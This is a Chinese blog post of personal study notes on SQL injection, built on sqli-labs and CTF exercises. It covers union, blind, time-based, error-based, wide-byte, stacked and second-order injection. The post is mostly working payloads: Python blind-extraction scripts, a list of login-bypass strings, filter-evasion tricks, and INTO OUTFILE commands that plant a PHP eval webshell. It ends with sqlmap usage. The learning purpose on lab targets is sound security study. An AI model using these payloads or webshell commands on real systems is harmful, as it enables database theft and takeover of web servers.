前言
进工作室面试的时候sql有关的问题一个都没答全,痛定思痛,这里系统的学一遍sql注入。
一、什么是sql注入
通过恶意构造sql语句来获取数据库中的内容。
二、sql注入的类别
这里以sqli-labs为例
联合注入
用union进行联合查询,适合于有显示位的注入。
首先用1’闭合判断数字型还是字符型
然后用order by查看列数
1
2
3
4
5
6
7
|
//字符型
?id=1' order by 3--+
?id=1' order by 4--+ #报错
//数字型
?id=1 order by 3
?id=1 order by 4 #报错
|
然后查看数据库(版本version())
1
2
3
4
5
6
7
|
-1 union select 1,2,database()
(-1使正常查询出错,显示出union查询的值)
-1'union select 1,2,database()--+
#security
|
查看表名
1
2
3
4
5
6
|
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
#emails,referers,uagents,users
|
查看列名
1
2
3
4
5
|
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
#Host,User......
|
查看数据
1
2
3
|
-1 union select 1,2,group_concat(username ,id , password) from users
-1' union select 1,2,group_concat(username ,id , password) from users--+
|
布尔盲注
回显被削了,但是依旧有报错
最讨厌布尔盲注,不会写脚本,就显得很菜
爆数据库
1
2
3
4
5
6
7
8
|
?id=1'and length((select database()))>9--+ 无回显说明报错
?id=1'and length((select database()))<7--+ 无回显
结合一下说明database为8字母
?id=1'and ascii(substr((select database()),1,1))=115--+
(截取database()的第一个字符开始,长度为一的字符串,并用ascii码表示。然后通过>,<,=和是否有回显 判断database确切的值)
(是需要写脚本爆破的)
|
接下来思路都是一样的
爆表
1
2
3
4
|
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
|
爆列
1
2
3
4
|
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
|
爆内容
1
2
3
4
|
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
|
脚本(某道题目的payload,拿来抄一下,要用的话改一下payload和判断条件。还有url)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
import requests
base_url = "http://192.168.183.1:63261"
result = ""
i = 0
while True:
i += 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) // 2 # 使用整数除法
# 根据需要切换payload
#payload = "sElect%09group_concat(table_name)%09FRom%09infOrmation_schema.tables%09Where%09table_schema%09like%09database()"#courses,secrets,students
#payload = "sElect%09group_concat(column_name)%09FRom%09infOrmation_schema.columns%09Where%09table_name%09like%09'secrets'"#id,secret_key,secret_value
payload = "sElect%09group_concat(id,secret_key,secret_value)%09from%09`secrets`" #这里here_is_flag要用反引号才行,单引号不行,反引号用于标识数据库、表、列等对象的名称。
# 构造正确的URL字符串(注意去掉了末尾逗号)
current_url = f"{base_url}?student_name=Alice'%09and%09Ord(mid(({payload}),{i},1))>{mid}%23"
r = requests.get(url=current_url)
if 'Alice' in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
print(f"[+] 当前结果: {result}")
else:
print(f"[+] 当前结果: {result}")
|
延时注入
比布尔盲注更讨厌
无论输入啥,都显示You are in。。。
只能用sleep判断你的payload是否真的打进去了
1
2
|
?id=1' and if(1=1,sleep(5),1)--+
判断注入点(确定延时注入是可以打进去的)
|
爆数据库
1
2
3
4
5
|
?id=1' and if(length((select database()))>9,sleep(5),1)--+
和布尔盲注一样,需要知道database的长度
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
爆每个字符
|
爆表
1
2
3
4
5
|
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
|
爆列
1
2
3
4
|
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
|
爆内容
1
2
3
4
5
6
|
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
|
脚本(修改payload和url)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import requests
import time
import sys#头文件
from urllib.parse import quote
url="http://192.168.183.1:55251//?student_name="
res="" #结果
for i in range(1,1000): #循环
left=32
right=128
mid=(left + right) //2 #二分中值
while (left < right):
#payload = url+quote("1'||if(ord(mid(database(),%d,1))<%
|
报错注入
报错注入常用函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
floor()
extractvalue()
updatexml()
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
|
updatexml()
MySQL提供了一个updatexml()函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:
1
|
?id=1' and updatexml(1, 0x7e, 3) -- a
|
参数2内容中的查询结果显示在数据库的报错信息中,并回显到页面。

使用前需要判断报错和报错条件
1
2
3
4
5
6
7
8
|
//获取所有数据库
?id=1' and updatexml(1,concat('~',substr((selectgroup_concat(schema_name)from information_schema.schemata),1,31)),3) --qwq
//获取所有表
?id=1' and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema ='security'),1,31)),3) -- qwq
//获取所有字段
?id=1' and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users'),1,31)),3) -- qwq
|
宽字节注入
宽字节注入是由于不同编码中中英文所占字符的的不同所导致的,通常的来说,在GBK编码当中,一个汉字占用2个字节。除了UTF-8以外,所有的ANSI编码中文都是占用俩个字符。
我们先说一下php中对于sql注入的过滤
addslashes()函数,这个函数在预定义字符之前添加反斜杠 \ 。 这个函数有一个特点虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用get_magic_quotes_gpc()来检测是否已经转义。
mysql_real_escape_string()函数,这个函数用来转义sql语句中的特殊符号x00、\n、\r、\、'、"、x1a。
注:
预定义字符:单引 ‘,双引 “,反斜 \,NULL
魔术引号:当打开时,所有单引号 ‘、双引号 " 、反斜杠 \ 和NULL字符都会被自动加上一个反斜线来进行转义,和addslashes()函数的作用完全相同。所以,如果魔术引号打开,就不要使用addslashes()函数。一共有三个魔术引号指令:
- magic_quotes_gpc
- magic_quotes_runtime
- magic_quotes_sybase
看不懂,但是宽字节注入貌似是用来绕过预定义函数的
我们来看less32
1
|
?id=1' union select 1,version(),database() -- qwq
|

发现注入时将\进行了转义,这时候就要把\去掉
宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为2个字符是1个汉字,前提是前一个字符的ASCII值大于128,才会认为是汉字。所以只要我们输入的数据大于等于 %81就可以使 ’ 逃脱出来了。
1
|
?id=-1�' union select 1,2,3 -- qwq
|

堆叠注入
在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 一条语句结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(union注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root’;DROP database user;服务器端生成的sql语句为:select * from user where name='root';DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。
二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。
在第一次进行数据插入数据库得时候,仅仅知识使用了addslashes()或者是借助get_magic_quotes_gpc()对其中得字符进行了转义,在后端代码中可能会被转义,但在存入数据库时候还是原来得数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就行了二次注入。
过程
- 插入1‘#
- 转义成1\’#
- 不能注入,但是保存在数据库时变成了原来的1’#
- 利用1’#进行注入,这里利用时要求取出数据时不转义
条件
- 用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
- 数据库对自己存储得数据非常放心,直接读取出恶意数据给用户
User-Agent 注入
查询发现是127.0.0.1

然后抓包在UA头里加入 ' and 1=2监测是否存在,有报错的话就是有
' and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #
用于显示出数据库,没啥用
sql万能钥匙

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
admin' or 1=1#
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
|
三、sql绕过
关键字绕过
1.用/../,<>分割关键字
1
|
select -> sec/**/ect || sec<>ect
|
2.根据过滤代码,可以考虑用双写绕过
3.大小写
4.url、16进制、ascii码绕过
逗号绕过
1.可以用join绕过
1
2
3
|
union select 1,2,3
union select * from (select 1)a join (select 2)b join (select 3)
|
2.对于盲注的一些函数substr(),mid(),limit
1
2
3
4
5
6
7
8
9
10
11
12
|
substr和mid()可以使用from for的方法解决
substr(str from pos for len) //在str中从第pos位截取len长的字符
mid(str from pos for len)//在str中从第pos位截取len长的字符
limit可以用offset的方法绕过
limit 1 offset 1
使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始
|
绕过空格
1
2
3
4
|
(1)双空格
(2)/**/
(3)用括号绕过
(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a
|
过滤等于号
用like代替
过滤大小等于号
1
2
3
4
5
6
|
(1)greatest(n1,n2,n3,...) //返回其中的最大值
(2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)in 操作符
(4)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
以上是小白总结出来的几种过滤,肯定还有别的过滤,等以后遇到再更新吧!
|
四、sql写马
1
2
|
基于联合注入的木马
UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile '/var/www/html/2.php'%23
|
1
2
3
4
|
不基于联合注入的木马
into outfile '/var/www/html/2.php' FIELDS TERMINATED BY '<?=eval($_REQUEST[1]);?>'(有时候这个写入的木马没有作用,肯定和FIELDS TERMINATED BY有关)
into outfile '/var/www/html/2.php' lines terminated by '<?=eval($_REQUEST[1]);?>'
|
解释一下lines terminated by,这也解释了这个写马为什么会显示一些东西,详情请看ctfshow代码审计篇web301

关于为什么FIELDS TERMINATED BY有时候会失效(ai太好用了你们知道吗)

五、sqlmap使用方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
常用sqlmap参数详解
-u url
-p 攻击参数
-r post提交时选用 -r bp.txt
--dbs 指定爆数据库
-D 指定数据库 -D mysql
--table 指定爆表(需要指定数据库)
-T 指定表 -T user
--columns 指定爆列(需要指定表和数据库)
-C 指定列 -C secret
--dump 指定爆数据(需要指定表、列、数据库)
--tamper '绕过脚本.py' 指定爆破脚本
--technique 指定sql注入的方式 =B(布尔盲注) =U(联合注入) =E(报错注入) =S(堆叠注入)=T(时间盲注) =Q(内联查询注入)
–random-agent为了随机UA头,避免被WAF认为是爬虫
–fresh-queries:禁用 SQLMap 的缓存机制,每次请求都重新生成新的查询,避免因缓存导致结果不准确。
–no-cast:禁用 SQLMap 对返回数据的类型转换,直接返回原始数据。适用于某些特殊场景(如数据库对类型处理不一致)。
|